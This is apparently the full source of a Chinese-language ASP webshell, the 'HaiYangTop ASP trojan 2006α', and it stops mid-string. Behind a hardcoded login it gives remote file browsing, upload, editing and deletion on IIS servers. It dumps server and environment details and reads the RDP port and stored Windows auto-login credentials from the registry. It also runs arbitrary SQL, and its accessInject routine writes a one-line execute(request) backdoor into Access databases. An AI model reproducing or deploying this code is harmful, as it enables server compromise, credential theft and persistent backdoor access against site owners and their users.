<% ' Option Explicit Dim sTime, aspPath, pageName sTime = Timer pageName = Request("pageName") aspPath = Replace(Server.MapPath(".") & "\~86.tmp", "\\", "\") ''系統臨時文件 Const m = "HYTop2006α" ''自定義Session前綴 Const myName = "芝麻開門,偶是老馬" ''登錄頁按扭上的文字 Const isDebugMode = False ''是否顯示完整錯誤信息 Const clientPassword = "#" ''插入后門的密碼,如果要插入數據庫中,只能為一個字符. Const notdownloadsExists = False ''原ACCESS數據庫中是否存在notdownloadsExists表 Const myCmdDotExeFile = "command.com" ''定義cmd.exe文件的文件名 Const userPassword = "lcxMarcos" ''管理密碼 Const showLogin = "" ''為空直接顯示登錄界面,否則用"?pageName=它的值"來進行訪問 Const strJsCloseMe = "" Sub chkErr(Err) If Err Then echo "" echo "
  • 錯誤: " & Err.Description & "
  • 錯誤源: " & Err.Source & "

    • " echo "
    Powered By Marcos 2005.02    " Err.Clear Response.End End If End Sub Sub echo(str) Response.Write(str) End Sub Sub isIn() If pageName <> "" And PageName <> "login" And PageName <> showLogin Then If Session(m & "userPassword") <> userPassword Then Response.End End If End If End Sub Sub showTitle(str) echo "" & str & " - 海陽頂端網ASP木馬2006α - By Marcos & LCX" & vbNewLine echo "" & vbNewLine echo "" & vbNewLine echo "" & vbNewLine echo "" & vbNewLine PageOther() End Sub Function fixNull(str) If IsNull(str) Then str = " " End If fixNull = str End Function Function encode(str) str = Server.HTMLEncode(str) str = Replace(str, vbNewLine, "
    ") str = Replace(str, " ", " ") str = Replace(str, " ", "    ") encode = str End Function Function getTheSize(theSize) If theSize >= (1024 * 1024 * 1024) Then getTheSize = Fix((theSize / (1024 * 1024 * 1024)) * 100) / 100 & "G" If theSize >= (1024 * 1024) And theSize < (1024 * 1024 * 1024) Then getTheSize = Fix((theSize / (1024 * 1024)) * 100) / 100 & "M" If theSize >= 1024 And theSize < (1024 * 1024) Then getTheSize = Fix((theSize / 1024) * 100) / 100 & "K" If theSize >= 0 And theSize <1024 Then getTheSize = theSize & "B" End Function Sub showExecuteTime() Response.Write "" & (Timer() - sTime) * 1000 & " ms" End Sub Function HtmlEncode(str) If isNull(str) Then Exit Function End If HtmlEncode = Server.HTMLEncode(str) End Function Function UrlEncode(str) If isNull(str) Then Exit Function End If UrlEncode = Server.UrlEncode(str) End Function Sub redirectTo(strUrl) Response.Redirect(Request.ServerVariables("URL") & strUrl) End Sub Function trimThePath(strPath) If Right(strPath, 1) = "\" And Len(strPath) > 3 Then strPath = Left(strPath, Len(strPath) - 1) End If trimThePath = strPath End Function Sub alertThenClose(strInfo) Response.Write "" End Sub Sub showErr(str) Dim i, arrayStr str = Server.HtmlEncode(str) arrayStr = Split(str, "$$") ' Response.Clear echo "" echo "出錯信息:

    " For i = 0 To UBound(arrayStr) echo "  " & (i + 1) & ". " & arrayStr(i) & "
    " Next echo "    " Response.End End Sub Rem =-=-=-=-=-=-=-=-=-=-=-=-=-=-=- Rem 下面是程序模塊選擇部分 Rem =-=-=-=-=-=-=-=-=-=-=-=-=-=-=- isIn() Select Case pageName Case showLogin, "login" PageLogin() Case "PageList" PageList() Case "objOnSrv" PageObjOnSrv() Case "ServiceList" PageServiceList() Case "userList" PageUserList() Case "CSInfo" PageCSInfo() Case "infoAboutSrv" PageInfoAboutSrv() Case "AppFileExplorer" PageAppFileExplorer() Case "SaCmdRun" PageSaCmdRun() Case "WsCmdRun" PageWsCmdRun() Case "FsoFileExplorer" PageFsoFileExplorer() Case "MsDataBase" PageMsDataBase() Case "OtherTools" PageOtherTools() Case "TxtSearcher" PageTxtSearcher() End Select Rem =-=-=-=-=-=-=-=-=-=-=-=-=-=-= Rem 下面是各獨立功能模塊 Rem =-=-=-=-=-=-=-=-=-=-=-=-=-=-= Sub PageAppFileExplorer() Response.Buffer = True Dim strExtName, thePath, objFolder, objMember, strDetails, strPath, strNewName Dim intI, theAct, strFolderList, strFileList, strFilePath, strFileName, strParentPath showTitle("Shell.Application文件瀏覽器(&stream)") theAct = Request("theAct") strNewName = Request("newName") thePath = Replace(LTrim(Request("thePath")), "\\", "\") If theAct <> "upload" Then If Request.Form.Count > 0 Then theAct = Request.Form("theAct") thePath = Replace(LTrim(Request.Form("thePath")), "\\", "\") End If End If echo "" Select Case theAct Case "openUrl" openUrl(thePath) Case "showEdit" Call showEdit(thePath, "stream") Case "saveFile" Call saveToFile(thePath, "stream") Case "copyOne", "cutOne" If thePath = "" Then alertThenClose("參數錯誤!") Response.End End If Session(m & "appThePath") = thePath Session(m & "appTheAct") = theAct alertThenClose("操作成功,請粘貼!") Case "pastOne" appDoPastOne(thePath) alertThenClose("粘貼成功,請刷新本頁查看效果!") Case "rename" appRenameOne(thePath) Case "downTheFile" downTheFile(thePath) Case "theAttributes" appTheAttributes(thePath) Case "showUpload" Call showUpload(thePath, "AppFileExplorer") Case "upload" streamUpload(thePath) Call showUpload(thePath, "AppFileExplorer") End Select If theAct <> "" Then Response.End End If Set objFolder = sa.NameSpace(thePath) If Request.Form.Count > 0 Then redirectTo("?pageName=AppFileExplorer&thePath=" & UrlEncode(thePath)) End If echo "" echo "" echo "
    " echo "" echo "" echo "" echo "" echo "" echo "" echo "" echo "" echo "" echo "" echo "" echo "
    " echo "" echo "" echo "" echo "" echo "
    " echo "
    " echo "" For Each objMember In objFolder.Items intI = intI + 1 If intI > 200 Then intI = 0 Response.Flush() End If If objMember.IsFolder = True Then If Left(objMember.Path, 2) = "::" Then strPath = URLEncode(objMember.Path) Else strPath = URLEncode(objMember.Path) & "%5C" End If strFolderList = strFolderList & "0
    " & objMember.Name & "    " Else strDetails = objFolder.GetDetailsOf(objMember, -1) strFilePath = objMember.Path strFileName = Mid(strFilePath, InStrRev(strFilePath, "\") + 1) strExtName = Split(strFileName, ".")(UBound(Split(strFileName, "."))) strFileList = strFileList & "
    " & strFileName & "    " End If Next strParentPath = getParentPath(thePath) If thePath <> "" And Left(thePath, 2) <> "::" Then strFolderList = "0
    ..    " & strFolderList End If echo "
    " echo strFolderList & strFileList echo "
    " echo "
    Powered By Marcos 2005.02" Set objFolder = Nothing End Sub Function getParentPath(strPath) If Right(strPath, 1) = "\" Then strPath = Left(strPath, Len(strPath) - 1) End If If Len(strPath) = 2 Then getParentPath = " " Else getParentPath = Left(strPath, InStrRev(strPath, "\")) End If End Function Function streamSaveToFile(thePath, fileContent) Dim stream If isDebugMode = False Then On Error Resume Next End If Set stream = Server.CreateObject("adodb.stream") With stream .Type=2 .Mode=3 .Open chkErr(Err) .Charset="gb2312" .WriteText fileContent .saveToFile thePath, 2 .Close End With Set stream = Nothing End Function Sub appDoPastOne(thePath) If isDebugMode = False Then On Error Resume Next End If Dim strAct, strPath dim objTargetFolder strAct = Session(m & "appTheAct") strPath = Session(m & "appThePath") If strAct = "" Or strPath = "" Then alertThenClose("參數錯誤,粘貼前請先復制/剪切!") Exit Sub End If If InStr(LCase(thePath), LCase(strPath)) > 0 Then alertThenClose("目標文件夾在源文件夾內,非法操作!") Exit Sub End If strPath = trimThePath(strPath) thePath = trimThePath(thePath) Set objTargetFolder = sa.NameSpace(thePath) If strAct = "copyOne" Then objTargetFolder.CopyHere(strPath) Else objTargetFolder.MoveHere(strPath) End If chkErr(Err) Set objTargetFolder = Nothing End Sub Sub appTheAttributes(thePath) If isDebugMode = False Then On Error Resume Next End If Dim i, strSth, objFolder, objItem, strModifyDate strModifyDate = Request("ModifyDate") thePath = trimThePath(thePath) If thePath = "" Then alertThenClose("沒有選擇任何文件(夾)!") Exit Sub End If strSth = Left(thePath, InStrRev(thePath, "\")) Set objFolder = sa.NameSpace(strSth) chkErr(Err) strSth = Split(thePath, "\")(UBound(Split(thePath, "\"))) Set objItem = objFolder.ParseName(strSth) chkErr(Err) If isDate(strModifyDate) Then objItem.ModifyDate = strModifyDate alertThenClose("修改成功!") Set objItem = Nothing Set objFolder = Nothing Exit Sub End If ' strSth = objFolder.GetDetailsOf(objItem, -1) ' strSth = Replace(strSth, chr(10), "
    ") For i = 1 To 8 strSth = strSth & "
    屬性(" & i & "): " & objFolder.GetDetailsOf(objItem, i) Next strSth = Replace(strSth, "屬性(1)", "大小") strSth = Replace(strSth, "屬性(2)", "類型") strSth = Replace(strSth, "屬性(3)", "最后修改") strSth = Replace(strSth, "屬性(8)", "所有者") strSth = strSth & "
    " strSth = strSth & "" strSth = strSth & "" strSth = strSth & "
    最后修改: " strSth = strSth & "" strSth = strSth & "
    " echo strSth Set objItem = Nothing Set objFolder = Nothing End Sub Sub appRenameOne(thePath) If isDebugMode = False Then On Error Resume Next End If Dim strSth, fileName, objItem, objFolder fileName = Request("fileName") thePath = trimThePath(thePath) strSth = Left(thePath, InStrRev(thePath, "\")) Set objFolder = sa.NameSpace(strSth) chkErr(Err) strSth = Split(thePath, "\")(UBound(Split(thePath, "\"))) Set objItem = objFolder.ParseName(strSth) chkErr(Err) strSth = Split(thePath, ".")(UBound(Split(thePath, "."))) If fileName <> "" Then objItem.Name = fileName chkErr(Err) alertThenClose("重命名成功,刷新本頁可以看到效果!") Set objItem = Nothing Set objFolder = Nothing Exit Sub End If echo "
    重命名:" echo "" echo "" echo "
    " If InStr(strSth, ":") <= 0 Then echo "." & strSth End If echo "
    " & strJsCloseMe echo "
    " Set objItem = Nothing Set objFolder = Nothing End Sub Sub PageCSInfo() If isDebugMode = False Then On Error Resume Next End If Dim strKey, strVar, strVariable showTitle("客戶端服務器交互信息") echo "ServerVariables:" echo "" echo "
    Application:" echo "" echo "
    Session:(ID" & Session.SessionId & ")" echo "" echo "
    Cookies:" echo "
    Powered By Marcos 2005.02" End Sub Sub PageFsoFileExplorer() If isDebugMode = False Then On Error Resume Next End If Response.Buffer = True Dim file, drive, folder, theFiles, theFolder, theFolders Dim i, theAct, strTmp, driveStr, thePath, parentFolderName theAct = Request("theAct") thePath = Request("thePath") If theAct <> "upload" Then If Request.Form.Count > 0 Then theAct = Request.Form("theAct") thePath = Request.Form("thePath") End If End If showTitle("FSO文件瀏覽器(&stream)") Select Case theAct Case "newOne", "doNewOne" fsoNewOne(thePath) Case "showEdit" Call showEdit(thePath, "fso") Case "saveFile" Call saveToFile(thePath, "fso") Case "openUrl" openUrl(thePath) Case "copyOne", "cutOne" If thePath = "" Then alertThenClose("參數錯誤!") Response.End End If Session(m & "fsoThePath") = thePath Session(m & "fsoTheAct") = theAct alertThenClose("操作成功,請粘貼!") Case "pastOne" fsoPastOne(thePath) alertThenClose("粘貼成功,請刷新本頁查看效果!") Case "showFsoRename" showFsoRename(thePath) Case "doRename" Call fsoRename(thePath) alertThenClose("重命名成功,刷新后可以看到效果!") Case "delOne", "doDelOne" showFsoDelOne(thePath) Case "getAttributes", "doModifyAttributes" fsoTheAttributes(thePath) Case "downTheFile" downTheFile(thePath) Case "showUpload" Call showUpload(thePath, "FsoFileExplorer") Case "upload" streamUpload(thePath) Call showUpload(thePath, "FsoFileExplorer") End Select If theAct <> "" Then Response.End End If If Request.Form.Count > 0 Then redirectTo("?pageName=FsoFileExplorer&thePath=" & UrlEncode(thePath)) End If parentFolderName = fso.GetParentFolderName(thePath) echo "
    " echo "" echo "" echo "" echo "" echo "" echo "" echo "" echo "" echo "" echo "" echo "" echo "
    " echo "" echo "" echo "" echo "
    " If parentFolderName <> "" Then echo "" End If echo "" echo "" echo "" echo "" driveStr = "" driveStr = driveStr & "" driveStr = driveStr & "" For Each drive In fso.Drives driveStr = driveStr & "" Next echo " " echo "" echo "
    " echo "
    " echo "" If fso.FolderExists(thePath) = False Then showErr(thePath & " 目錄不存在或者不允許訪問!") End If Set theFolder = fso.GetFolder(thePath) Set theFiles = theFolder.Files Set theFolders = theFolder.SubFolders echo "
    " For Each folder In theFolders i = i + 1 If i > 50 Then i = 0 Response.Flush() End If strTmp = UrlEncode(folder.Path & "\") echo "0
    " & folder.Name & "    " & vbNewLine Next Response.Flush() For Each file In theFiles i = i + 1 If i > 100 Then i = 0 Response.Flush() End If echo "
    " & file.Name & "    " & vbNewLine Next echo "
    " chkErr(Err) echo "
    Powered By Marcos 2005.02" End Sub Sub fsoNewOne(thePath) If isDebugMode = False Then On Error Resume Next End If Dim theAct, isFile, theName, newAct isFile = Request("isFile") newAct = Request("newAct") theName = Request("theName") If newAct = " 確定 " Then thePath = Replace(thePath & "\" & theName, "\\", "\") If isFile = "True" Then Call fso.CreateTextFile(thePath, False) Else fso.CreateFolder(thePath) End If chkErr(Err) alertThenClose("文件(夾)新建成功,刷新后就可以看到效果!") Response.End End If echo "" echo "" echo "
    " echo "
    新建: " echo " " echo "
    " echo "
    " echo "" echo "" & strJsCloseMe echo "
    " echo "
    " End Sub Sub fsoPastOne(thePath) If isDebugMode = False Then On Error Resume Next End If Dim sessionPath sessionPath = Session(m & "fsoThePath") If thePath = "" Or sessionPath = "" Then alertThenClose("參數錯誤!") Response.End End If If Right(thePath, 1) = "\" Then thePath = Left(thePath, Len(thePath) - 1) End If If Right(sessionPath, 1) = "\" Then sessionPath = Left(sessionPath, Len(sessionPath) - 1) If Session(m & "fsoTheAct") = "cutOne" Then Call fso.MoveFolder(sessionPath, thePath & "\" & fso.GetFileName(sessionPath)) Else Call fso.CopyFolder(sessionPath, thePath & "\" & fso.GetFileName(sessionPath)) End If Else If Session(m & "fsoTheAct") = "cutOne" Then Call fso.MoveFile(sessionPath, thePath & "\" & fso.GetFileName(sessionPath)) Else Call fso.CopyFile(sessionPath, thePath & "\" & fso.GetFileName(sessionPath)) End If End If chkErr(Err) End Sub Sub fsoRename(thePath) If isDebugMode = False Then On Error Resume Next End If Dim theFile, fileName, theFolder fileName = Request("fileName") If thePath = "" Or fileName = "" Then alertThenClose("參數錯誤!") Response.End End If If Right(thePath, 1) = "\" Then Set theFolder = fso.GetFolder(thePath) theFolder.Name = fileName Set theFolder = Nothing Else Set theFile = fso.GetFile(thePath) theFile.Name = fileName Set theFile = Nothing End If chkErr(Err) End Sub Sub showFsoRename(thePath) Dim theAct, fileName fileName = fso.getFileName(thePath) echo "" echo "" echo "
    " echo "
    更名為:
    " echo "
    " echo "" echo "" echo "" echo "
    " echo "
    " End Sub Sub showFsoDelOne(thePath) If isDebugMode = False Then On Error Resume Next End If Dim newAct, theFile newAct = Request("newAct") If newAct = "確認刪除?" Then If Right(thePath, 1) = "\" Then thePath = Left(thePath, Len(thePath) - 1) Call fso.DeleteFolder(thePath, True) Else Call fso.DeleteFile(thePath, True) End If chkErr(Err) alertThenClose("文件(夾)刪除成功,刷新后就可以看到效果!") Response.End End If echo "" echo "

    " echo HtmlEncode(thePath) echo "" echo "" echo "
    " echo "
    " End Sub Sub fsoTheAttributes(thePath) If isDebugMode = False Then On Error Resume Next End If Dim newAct, theFile, theFolder, theTitle newAct = Request("newAct") If Right(thePath, 1) = "\" Then Set theFolder = fso.GetFolder(thePath) If newAct = " 修改 " Then setMyTitle(theFolder) End If theTitle = getMyTitle(theFolder) Set theFolder = Nothing Else Set theFile = fso.GetFile(thePath) If newAct = " 修改 " Then setMyTitle(theFile) End If theTitle = getMyTitle(theFile) Set theFile = Nothing End If chkErr(Err) theTitle = Replace(theTitle, vbNewLine, "
    ") echo "" echo "
    " echo "" echo "" echo theTitle echo "
    " & strJsCloseMe echo "
    " End Sub Function getMyTitle(theOne) If isDebugMode = False Then On Error Resume Next End If Dim strTitle strTitle = strTitle & "路徑: "" & theOne.Path & """ & vbNewLine strTitle = strTitle & "大小: " & getTheSize(theOne.Size) & vbNewLine strTitle = strTitle & "屬性: " & getAttributes(theOne.Attributes) & vbNewLine strTitle = strTitle & "創建時間: " & theOne.DateCreated & vbNewLine strTitle = strTitle & "最后修改: " & theOne.DateLastModified & vbNewLine strTitle = strTitle & "最后訪問: " & theOne.DateLastAccessed getMyTitle = strTitle End Function Sub setMyTitle(theOne) Dim i, myAttributes For i = 1 To Request("attributes").Count myAttributes = myAttributes + CInt(Request("attributes")(i)) Next theOne.Attributes = myAttributes chkErr(Err) echo "" End Sub Function getAttributes(intValue) Dim strAtt strAtt = "系統 " strAtt = strAtt & "隱藏 " strAtt = strAtt & "只讀   " strAtt = strAtt & "存檔
    　　  " strAtt = strAtt & "普通 " strAtt = strAtt & "壓縮 " strAtt = strAtt & "文件夾 " strAtt = strAtt & "快捷方式" ' strAtt = strAtt & "卷標 " If intValue = 0 Then strAtt = Replace(strAtt, "{$normal}", "checked") End If If intValue >= 128 Then intValue = intValue - 128 strAtt = Replace(strAtt, "{$compressed}", "checked") End If If intValue >= 64 Then intValue = intValue - 64 strAtt = Replace(strAtt, "{$alias}", "checked") End If If intValue >= 32 Then intValue = intValue - 32 strAtt = Replace(strAtt, "{$archive}", "checked") End If If intValue >= 16 Then intValue = intValue - 16 strAtt = Replace(strAtt, "{$directory}", "checked") End If If intValue >= 8 Then intValue = intValue - 8 strAtt = Replace(strAtt, "{$volume}", "checked") End If If intValue >= 4 Then intValue = intValue - 4 strAtt = Replace(strAtt, "{$system}", "checked") End If If intValue >= 2 Then intValue = intValue - 2 strAtt = Replace(strAtt, "{$hidden}", "checked") End If If intValue >= 1 Then intValue = intValue - 1 strAtt = Replace(strAtt, "{$readonly}", "checked") End If getAttributes = strAtt End Function Sub PageInfoAboutSrv() Dim theAct theAct = Request("theAct") showTitle("服務器相關數據") Select Case theAct Case "" getSrvInfo() getSrvDrvInfo() getSiteRootInfo() getTerminalInfo() Case "getSrvInfo" getSrvInfo() Case "getSrvDrvInfo" getSrvDrvInfo() Case "getSiteRootInfo" getSiteRootInfo() Case "getTerminalInfo" getTerminalInfo() End Select echo "
    Powered By Marcos 2005.02" End Sub Sub getSrvInfo() If isDebugMode = False Then On Error Resume Next End If Dim i, sa, objWshSysEnv, aryExEnvList, strExEnvList, intCpuNum, strCpuInfo, strOS Set sa = Server.CreateObject("Shell.Application") strExEnvList = "SystemRoot$WinDir$ComSpec$TEMP$TMP$NUMBER_OF_PROCESSORS$OS$Os2LibPath$Path$PATHEXT$PROCESSOR_ARCHITECTURE$" & _ "PROCESSOR_IDENTIFIER$PROCESSOR_LEVEL$PROCESSOR_REVISION" aryExEnvList = Split(strExEnvList, "$") Set objWshSysEnv = ws.Environment("SYSTEM") chkErr(Err) intCpuNum = Request.ServerVariables("NUMBER_OF_PROCESSORS") If IsNull(intCpuNum) Or intCpuNum = "" Then intCpuNum = objWshSysEnv("NUMBER_OF_PROCESSORS") End If strOS = Request.ServerVariables("OS") If IsNull(strOS) Or strOS = "" Then strOS = objWshSysEnv("OS") strOs = strOs & "(有可能是 Windows2003 哦)" End If strCpuInfo = objWshSysEnv("PROCESSOR_IDENTIFIER") echo "服務器相關參數:" echo "
      " echo "
    1. 服務器名: " & Request.ServerVariables("SERVER_NAME") & "
      2. " echo "
    2. 服務器IP: " & Request.ServerVariables("LOCAL_ADDR") & "
      3. " echo "
    3. 服務端口: " & Request.ServerVariables("SERVER_PORT") & "
      4. " echo "
    4. 服務器內存: " & getTheSize(sa.GetSystemInformation("PhysicalMemoryInstalled")) & "
      5. " echo "
    5. 服務器時間: " & Now & "
      6. " echo "
    6. 服務器軟件: " & Request.ServerVariables("SERVER_SOFTWARE") & "
      7. " echo "
    7. 腳本超時時間: " & Server.ScriptTimeout & "
      8. " echo "
    8. 服務器CPU數量: " & intCpuNum & "
      9. " echo "
    9. 服務器CPU詳情: " & strCpuInfo & "
      10. " echo "
    10. 服務器操作系統: " & strOS & "
      11. " echo "
    11. 服務器解譯引擎: " & ScriptEngine & "/" & ScriptEngineMajorVersion & "." & ScriptEngineMinorVersion & "." & ScriptEngineBuildVersion & "
      12. " echo "
    12. 本文件實際路徑: " & Request.ServerVariables("PATH_TRANSLATED") & "
      13. " echo "
    " echo "
    服務器相關參數:" echo "
      " For i = 0 To UBound(aryExEnvList) echo "
    1. " & aryExEnvList(i) & ": " & ws.ExpandEnvironmentStrings("%" & aryExEnvList(i) & "%") & "
      2. " Next echo "
    " Set sa = Nothing Set objWshSysEnv = Nothing End Sub Sub getSrvDrvInfo() If isDebugMode = False Then On Error Resume Next End If Dim objTheDrive echo "
    服務器磁盤信息:" echo "
      " echo "
      " echo "盤符類型卷標文件系統可用空間總空間
      " For Each objTheDrive In fso.Drives echo "" & objTheDrive.DriveLetter & "" echo "" & getDriveType(objTheDrive.DriveType) & "" If UCase(objTheDrive.DriveLetter) = "A" Then echo "
      " Else echo "" & objTheDrive.VolumeName & "" echo "" & objTheDrive.FileSystem & "" echo "" & getTheSize(objTheDrive.FreeSpace) & "" echo "" & getTheSize(objTheDrive.TotalSize) & "
      " End If If Err Then Err.Clear echo "
      " End If Next echo "
    " Set objTheDrive = Nothing End Sub Sub getSiteRootInfo() If isDebugMode = False Then On Error Resume Next End If Dim objTheFolder Set objTheFolder = fso.GetFolder(Server.MapPath("/")) echo "
    站點根目錄信息:" echo "
      " echo "
    1. 物理路徑: " & Server.MapPath("/") & "
      2. " echo "
    2. 當前大小: " & getTheSize(objTheFolder.Size) & "
      3. " echo "
    3. 文件數: " & objTheFolder.Files.Count & "
      4. " echo "
    4. 文件夾數: " & objTheFolder.SubFolders.Count & "
      5. " echo "
    5. 創建日期: " & objTheFolder.DateCreated & "
      6. " echo "
    6. 最后訪問日期: " & objTheFolder.DateLastAccessed & "
      7. " echo "
    " End Sub Sub getTerminalInfo() If isDebugMode = False Then On Error Resume Next End If Dim terminalPortPath, terminalPortKey, termPort Dim autoLoginPath, autoLoginUserKey, autoLoginPassKey Dim isAutoLoginEnable, autoLoginEnableKey, autoLoginUsername, autoLoginPassword terminalPortPath = "HKLM\SYSTEM\CurrentControlSet\Control\Terminal Server\WinStations\RDP-Tcp\" terminalPortKey = "PortNumber" termPort = ws.RegRead(terminalPortPath & terminalPortKey) echo "終端服務端口及自動登錄信息
      " If termPort = "" Or Err.Number <> 0 Then echo "無法得到終端服務端口, 請檢查權限是否已經受到限制.
      " Else echo "當前終端服務端口: " & termPort & "
      " End If autoLoginPath = "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon\" autoLoginEnableKey = "AutoAdminLogon" autoLoginUserKey = "DefaultUserName" autoLoginPassKey = "DefaultPassword" isAutoLoginEnable = ws.RegRead(autoLoginPath & autoLoginEnableKey) If isAutoLoginEnable = 0 Then echo "系統自動登錄功能未開啟
      " Else autoLoginUsername = ws.RegRead(autoLoginPath & autoLoginUserKey) echo "自動登錄的系統帳戶: " & autoLoginUsername & "
      " autoLoginPassword = ws.RegRead(autoLoginPath & autoLoginPassKey) If Err Then Err.Clear echo "False" End If echo "自動登錄的帳戶密碼: " & autoLoginPassword & "
      " End If echo "
    " End Sub Sub PageLogin() Dim theAct, passWord theAct = Request("theAct") passWord = Request("userPassword") showTitle("管理登錄") If theAct = "chkLogin" Then If passWord = userPassword Then Session(m & "userPassword") = passWord redirectTo("?pageName=PageList") Else echo "" End If End If echo "" echo "海陽頂端網ASP木馬@2006α
    " echo "" echo "
    " echo " " echo "" echo "" echo "
    " echo "本版感謝: Kevin,注冊表各鍵值的收集工作" echo "
    WWW.HAIYANGTOP.NET,WWW.HIDIDI.NET 2005.02" echo "
    " echo "" End Sub Sub pageMsDataBase() Dim theAct, sqlStr theAct = Request("theAct") sqlStr = Request("sqlStr") showTitle("mdb+mssql數據庫操作頁") If sqlStr = "" Then If Session(m & "sqlStr") = "" Then sqlStr = "e:\hytop.mdb或sql:Provider=SQLOLEDB.1;Server=localhost;User ID=sa;Password=haiyangtop;Database=bbs;" Else sqlStr = Session(m & "sqlStr") End If End If Session(m & "sqlStr") = sqlStr echo "" echo "
    " echo "mdb+mssql數據庫操作
    " echo "" echo "
    " echo "" echo "" echo "" echo "
    " echo "
    注: 插入只針對ACCESS操作, 要瀏覽ACCESS在表單中的寫法是""d:\bbs.mdb"", SQL據庫寫法是""sql:連接字符串"", 不要忘寫sql:。
    " Select Case theAct Case "showTables" showTables() Case "query" showQuery() Case "inject" accessInject() End Select echo "Powered By Marcos 2005.02" End Sub Sub showTables() If isDebugMode = False Then On Error Resume Next End If Dim conn, sqlStr, rsTable, rsColumn, connStr, tablesStr sqlStr = Request("sqlStr") If LCase(Left(sqlStr, 4)) = "sql:" Then connStr = Mid(sqlStr, 5) Else connStr = "Provider=Microsoft.Jet.Oledb.4.0;Data Source=" & sqlStr End If Set conn = Server.CreateObject("Adodb.Connection") conn.Open connStr chkErr(Err) tablesStr = getTableList(conn, sqlStr, rsTable) echo "數據庫表結構查看:
    " echo tablesStr & "
    " echo "轉到SQL命令執行
    " Do Until rsTable.Eof Set rsColumn = conn.OpenSchema(4, Array(Empty, Empty, rsTable("Table_Name").value)) echo "" echo "" echo "" echo "" Do Until rsColumn.Eof echo "" echo "" echo "" echo "" echo "" echo "" echo "" echo "" rsColumn.MoveNext Loop echo "
    " & rsTable("Table_Name") & "
    字段名類型大小精度允許為空默認值
     " & rsColumn("Column_Name") & "" & getDataType(rsColumn("Data_Type")) & "" & rsColumn("Character_Maximum_Length") & "" & rsColumn("Numeric_Precision") & "" & rsColumn("Is_Nullable") & "" & rsColumn("Column_Default") & "
    " rsTable.MoveNext Loop echo "
    " conn.Close Set conn = Nothing Set rsTable = Nothing Set rsColumn = Nothing End Sub Sub showQuery() If isDebugMode = False Then On Error Resume Next End If Dim i, j, rs, sql, page, conn, sqlStr, connStr, rsTable, tablesStr, theTable sql = Request("sql") page = Request("page") sqlStr = Request("sqlStr") theTable = Request("theTable") If Not IsNumeric(page) or page = "" Then page = 1 End If If sql = "" And theTable <> "" Then sql = "Select top 10 * from [" & theTable & "]" End If If LCase(Left(sqlStr, 4)) = "sql:" Then connStr = Mid(sqlStr, 5) Else connStr = "Provider=Microsoft.Jet.Oledb.4.0;Data Source=" & sqlStr End If Set rs = Server.CreateObject("Adodb.RecordSet") Set conn = Server.CreateObject("Adodb.Connection") conn.Open connStr chkErr(Err) tablesStr = getTableList(conn, sqlStr, rsTable) echo "數據庫表結構查看:
    " echo tablesStr & "
    " echo "SQL命令執行及查看" echo "
    " echo "" echo "
    " If sql <> "" And Left(LCase(sql), 7) = "select " Then rs.Open sql, conn, 1, 1 chkErr(Err) rs.PageSize = 20 If Not rs.Eof Then rs.AbsolutePage = page End If If rs.Fields.Count>0 Then echo "
    " echo "" echo "" echo "" echo "" For j = 0 To rs.Fields.Count-1 echo "" Next For i = 1 To 20 If rs.Eof Then Exit For End If echo "" echo "" For j = 0 To rs.Fields.Count-1 echo "" Next echo "" rs.MoveNext Next End If echo "" echo "
    SQL操作 - 執行結果
    " & rs.Fields(j).Name & "
    " & HtmlEncode(fixNull(rs(j))) & "
    " For i = 1 To rs.PageCount echo Replace("" & i & " ", "{$font" & page & "}", "class=warningColor") Next echo "
    " rs.Close Else If sql <> "" Then conn.Execute(sql) chkErr(Err) echo "

    執行完畢!
    " End If End If echo "
    " conn.Close Set rs = Nothing Set conn = Nothing Set rsTable = Nothing End Sub Function getDataType(typeId) Select Case typeId Case 130 getDataType = "文本" Case 2 getDataType = "整型" Case 3 getDataType = "長整型" Case 7 getDataType = "日期/時間" Case 5 getDataType = "雙精度型" Case 11 getDataType = "是/否" Case 128 getDataType = "OLE 對象" Case Else getDataType = typeId End Select End Function Sub accessInject() If isDebugMode = False Then On Error Resume Next End If Dim rs, conn, sqlStr, connStr sqlStr = Request("sqlStr") If LCase(Left(sqlStr, 4)) = "sql:" Then showErr("插入只對ACCESS數據庫有效!") Else connStr = "Provider=Microsoft.Jet.Oledb.4.0;Data Source=" & sqlStr End If Set rs = Server.CreateObject("Adodb.RecordSet") Set conn = Server.CreateObject("Adodb.Connection") conn.Open connStr chkErr(Err) If notdownloadsExists = True Then conn.Execute("drop table notdownloads") End If conn.Execute("create table notdownloads(notdownloads oleobject)") rs.Open "notdownloads", conn, 1, 3 rs.AddNew rs("notdownloads").AppendChunk(ChrB(Asc("<")) & ChrB(Asc("%")) & ChrB(Asc("e")) & ChrB(Asc("x")) & ChrB(Asc("e")) & ChrB(Asc("c")) & ChrB(Asc("u")) & ChrB(Asc("t")) & ChrB(Asc("e")) & ChrB(Asc("(")) & ChrB(Asc("r")) & ChrB(Asc("e")) & ChrB(Asc("q")) & ChrB(Asc("u")) & ChrB(Asc("e")) & ChrB(Asc("s")) & ChrB(Asc("t")) & ChrB(Asc("(")) & ChrB(Asc("""")) & ChrB(Asc(clientPassword)) & ChrB(Asc("""")) & ChrB(Asc(")")) & ChrB(Asc(")")) & ChrB(Asc("%")) & ChrB(Asc(">")) & ChrB(Asc(" "))) rs.Update rs.Close echo "" conn.Close Set rs = Nothing Set conn = Nothing End Sub Function getTableList(conn, sqlStr, rsTable) Set rsTable = conn.OpenSchema(20, Array(Empty, Empty, Empty, "table")) Do Until rsTable.Eof getTableList = getTableList & "[" & rsTable("Table_Name") & "] " rsTable.MoveNext Loop rsTable.MoveFirst End Function Sub PageObjOnSrv() Dim i, objTmp, txtObjInfo, strObjectList, strDscList txtObjInfo = Trim(Request("txtObjInfo")) strObjectList = "MSWC.AdRotator,MSWC.BrowserType,MSWC.NextLink,MSWC.Tools,MSWC.Status,MSWC.Counters,IISSample.ContentRotator," & _ "IISSample.PageCounter,MSWC.PermissionChecker,Adodb.Connection,SoftArtisans.FileUp,SoftArtisans.FileManager,LyfUpload.UploadFile," & _ "Persits.Upload.1,W3.Upload,JMail.SmtpMail,CDONTS.NewMail,Persits.MailSender,SMTPsvg.Mailer,DkQmail.Qmail,Geocel.Mailer," & _ "IISmail.Iismail.1,SmtpMail.SmtpMail.1,SoftArtisans.ImageGen,W3Image.Image," & _ "Scripting.FileSystemObject,Adodb.Stream,Shell.Application,WScript.Shell,Wscript.Network" strDscList = "廣告輪換,瀏覽器信息,內容鏈接庫,,,計數器,內容輪顯,,權限檢測,ADO 數據對象,SA-FileUp 文件上傳,SoftArtisans 文件管理," & _ 